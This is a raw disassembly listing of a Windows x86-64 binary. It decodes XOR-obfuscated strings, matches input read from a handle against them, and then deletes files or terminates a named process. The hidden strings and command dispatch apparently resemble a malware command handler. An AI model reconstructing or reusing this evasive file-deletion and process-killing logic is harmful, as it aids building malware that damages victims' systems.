mov qword [rbp - 0x48], r13
mov qword [rbp - 0x40], r13
mov r8d, 6
lea rdx, [0x140118700]
lea rcx, [rbp - 0x58]
call fcn.1400853d0
nop
xor r9d, r9d
movaps xmm2, xmm11
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x58]
call fcn.140089c70
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14009173c
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140091736
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14009244e
call fcn.14010c1ec
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140091779
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140091774
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14009245c
call fcn.14010c1ec
mov eax, dword [0x140118648]
mov dword [rbp - 0x10], eax
movzx eax, byte [0x14011864c]
movsd xmm0, qword [0x140118640]
mov byte [rbp - 0xc], al
movsd qword [rbp - 0x18], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x140091877
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140118640]
xorps xmm1, xmm0
movd dword [rbp - 0x18], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x14]
xorps xmm2, xmm1
movd dword [rbp - 0x14], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x18]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140091890
lea rcx, [rbp - 0x18]
call qword [sym.imp.ucrtbase.dll_remove]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
lea rax, [rbp + 0x4b0]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400918f0
jmp 0x14009239a
movups xmm0, xmmword [0x140118650]
movups xmmword [rbp - 0x58], xmm0
movsd xmm0, qword [0x140118660]
movsd qword [rbp - 0x48], xmm0
cmp byte [0x140118667], 0
je 0x140091a60
cmp r12d, 2
jl 0x140091a26
mov edx, r13d
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rbp - 0x54]
mov r8d, dword [rsp + 0x50]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x140091941
jmp 0x140091a60
lea r9, [rbp - 0x58]
mov r8d, r13d
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x140091a30
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x4b0]
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x140091da9
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
mov r8d, 0x14
lea rdx, [0x140118738]
lea rcx, [rsp + 0x70]
call fcn.1400853d0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
mov r8d, 8
lea rdx, [0x140118750]
lea rcx, [rsp + 0x50]
call fcn.1400853d0
nop
xor r9d, r9d
movaps xmm2, xmm11
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.140089c70
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140091b20
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140091b1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140092455
call fcn.14010c1ec
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140091b5c
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140091b57
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14009245c
call fcn.14010c1ec
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
lea rax, [rbp + 0x4b0]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140091b80
lea rdx, [rbp + 0x4b0]
lea rcx, [rsp + 0x70]
call fcn.1400853d0
lea rdx, [rsp + 0x70]
lea rcx, [0x14016ba00]
call fcn.1400b3280
movsd xmm0, qword [0x140118668]
movsd qword [rbp + 0x18], xmm0
mov eax, dword [0x140118670]
mov dword [rbp + 0x20], eax
movzx eax, byte [0x140118674]
mov byte [rbp + 0x24], al
mov r8d, r13d
cmp r12d, 2
jl 0x140091caa
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x140118668]
xorps xmm1, xmm0
movd dword [rbp + 0x18], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1c]
xorps xmm2, xmm1
movd dword [rbp + 0x1c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x18]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140091cc0
lea rcx, [rbp + 0x18]
call qword [sym.imp.ucrtbase.dll_remove]
xor edx, edx
mov ecx, 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400923bc
mov dword [rbp + 0xc0], 0x238
lea rdx, [rbp + 0xc0]
mov rcx, rax
call sub.kernel32.dll_Process32FirstW
test eax, eax
je 0x1400923bc
nop dword [rax]
nop dword [rax + rax]
lea rdx, [0x140118760]
lea rcx, [rbp + 0xec]
call qword [sym.imp.ucrtbase.dll__wcsicmp]
test eax, eax
jne 0x140091d88
mov r8d, dword [rbp + 0xc8]
xor edx, edx
mov ecx, 1
call qword [sym.imp.kernel32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140091d88
xor edx, edx
mov rcx, rax
call qword [sym.imp.kernel32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
lea rdx, [rbp + 0xc0]
mov rcx, rdi
call sub.kernel32.dll_Process32NextW
test eax, eax
jne 0x140091d40
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x1400923bc
movups xmm0, xmmword [0x140118678]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140118688]
movups xmmword [rbp - 0x80], xmm1
movzx eax, word [0x140118698]
mov word [rbp - 0x70], ax
movzx eax, byte [0x14011869a]
mov byte [rbp - 0x6e], al
mov r8d, r13d
cmp r12d, 2
jl 0x140091edd
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140091df2
cmp r8d, 0x23
jge 0x140091f20
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x140091ef0
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x4b0]
call sub.VCRUNTIME140.dll_strstr
xorps xmm0, xmm0
test rax, rax
je 0x14009214f
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r13
mov r8d, 0x10
lea rdx, [0x140118770]
lea rcx, [rsp + 0x50]
call fcn.1400853d0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x40], r13
mov r8d, 6
lea rdx, [0x140118700]
lea rcx, [rbp - 0x58]
call fcn.1400853d0
nop
xor r9d, r9d
movaps xmm2, xmm11
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x58]
call fcn.140089c70
nop
mov r8, qword [rbp - 0x40]
cmp r8, 0xf
jbe 0x140091fb8
mov rdx, qword [rbp - 0x58]
lea rcx, [rbp - 0x58]
call fcn.140088d20
nop
mov r8, qword [rsp + 0x68]
cmp r8, 0xf
jbe 0x140091fd2
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x50]
call fcn.140088d20
mov eax, dword [0x1401186a8]
mov dword [rbp], eax
movzx eax, byte [0x1401186ac]
movsd xmm0, qword [0x1401186a0]
mov byte [rbp + 4], al
movsd qword [rbp - 8], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x1400920d0
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1401186a0]
xorps xmm1, xmm0
movd dword [rbp - 8], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 4]
xorps xmm2, xmm1
movd dword [rbp - 4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400920e0
lea rcx, [rbp - 8]
call qword [sym.imp.ucrtbase.dll_remove]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
lea rax, [rbp + 0x4b0]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140092140
jmp 0x14009239a
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], r13
mov qword [rbp - 0x40], r13
lea rax, [rbp + 0x4b0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140092170
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp - 0x58]
call fcn.1400853d0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
mov r8d, 6
lea rdx, [0x140118700]
lea rcx, [rsp + 0x70]
call fcn.1400853d0
nop
xor r9d, r9d
movaps xmm2, xmm11
lea rdx, [rbp - 0x58]
lea rcx, [rsp + 0x70]
call fcn.140089c70
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140092206
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140092200
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140092463
call fcn.14010c1ec
nop
mov r8, qword [rbp - 0x40]
cmp r8, 0xf
jbe 0x14009221d
mov rdx, qword [rbp - 0x58]
lea rcx, [rbp - 0x58]
call fcn.140088d20
mov eax, dword [0x1401186b8]
mov dword [rbp + 0x10], eax
movzx eax, byte [0x1401186bc]
movsd xmm0, qword [0x1401186b0]
mov byte [rbp + 0x14], al
movsd qword [rbp + 8], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x14009231b
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1401186b0]
xorps xmm1, xmm0
movd dword [rbp + 8], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc]
xorps xmm2, xmm1
movd dword [rbp + 0xc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140092330
lea rcx, [rbp + 8]
call qword [sym.imp.ucrtbase.dll_remove]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r13
lea rax, [rbp + 0x4b0]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140092390
lea rdx, [rbp + 0x4b0]
lea rcx, [rsp + 0x70]
call fcn.1400853d0
lea rdx, [rsp + 0x70]
lea rcx, [0x14016ba00]
call fcn.1400b3280
mov ecx, 0xfa0
call qword [sym.imp.kernel32.dll_Sleep]
xor ecx, ecx
int 0x29
mov qword [rsp + 0x20], r13
lea r9, [rbp + 0x300]
mov r8d, 0x7f
lea rdx, [rbp + 0x4b0]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x140090ce0
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.kernel32.dll_CloseHandle]
nop
mov rdx, qword [rbp + 0x340]
cmp rdx, 0xf
jbe 0x14009246f
inc rdx
mov rcx, qword [rbp + 0x328]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14009246a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14009246a
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.14010c1ec
movdqa xmm0, xmmword [0x140118a70]
movdqu xmmword [rbp + 0x338], xmm0
mov byte [rbp + 0x328], 0
mov rdx, qword [rbp + 0x378]
cmp rdx, 0xf
jbe 0x1400924cb
inc rdx
mov rcx, qword [rbp + 0x360]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400924c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400924c5
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14010c1ec
nop
mov rdx, qword [rbp + 0x320]
cmp rdx, 0xf
jbe 0x14009250f
inc rdx
mov rcx, qword [rbp + 0x308]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14009250a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14009250a
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14010c1ec
mov qword [rbp + 0x318], r13
mov qword [rbp + 0x320], 0xf
mov byte [rbp + 0x308], 0
mov rax, qword [rbp + 0x380]
movsxd rcx, dword [rax + 4]
lea rax, [0x140118428]
mov qword [rbp + rcx + 0x380], rax
mov rax, qword [rbp + 0x380]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x37c], edx
lea rcx, [rbp + 0x388]
call fcn.1400879c0
lea rcx, [rbp + 0x390]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x428]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rbp + 0x348]
test rcx, rcx
je 0x140090b52
mov rdx, qword [rbp + 0x358]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140090b4d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140090b4d
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.14010cb1c
nop
call fcn.140083770
int3
call fcn.140089c10
int3